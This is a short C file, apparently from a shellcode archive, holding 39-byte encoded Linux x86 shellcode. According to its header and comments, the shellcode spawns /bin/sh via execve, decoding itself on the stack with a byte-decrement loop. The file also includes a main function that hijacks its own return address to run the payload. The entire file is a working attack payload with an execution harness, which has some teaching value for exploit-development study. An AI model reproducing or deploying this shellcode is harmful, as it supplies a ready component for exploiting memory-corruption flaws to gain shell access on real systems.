shellcode-229.c

/*
 * (linux/x86) - execve("/bin/sh", ["/bin/sh"], NULL) / encoded by +1 - 39 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] =

        "\x68\x8a\xe2\xce\x81"  // push $0x81cee28a
        "\x68\xb1\x0c\x53\x54"  // push $0x54530cb1
        "\x68\x6a\x6f\x8a\xe4"  // push $0xe48a6f6a
        "\x68\x01\x69\x30\x63"  // push $0x63306901
        "\x68\x69\x30\x74\x69"  // push $0x69743069
        "\x6a\x14"              // push $0x14
        "\x59"                  // pop %ecx

        //
        // <_unpack_loop>:
        //

        "\xfe\x0c\x0c"          // decb (%esp,%ecx,1)
        "\x49"                  // dec %ecx
        "\x79\xfa"              // jns <_unpack_loop>
        "\x41"                  // inc %ecx
        "\xf7\xe1"              // mul %ecx
        "\x54"                  // push %esp
        "\xc3";                 // ret

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int) shellcode;
}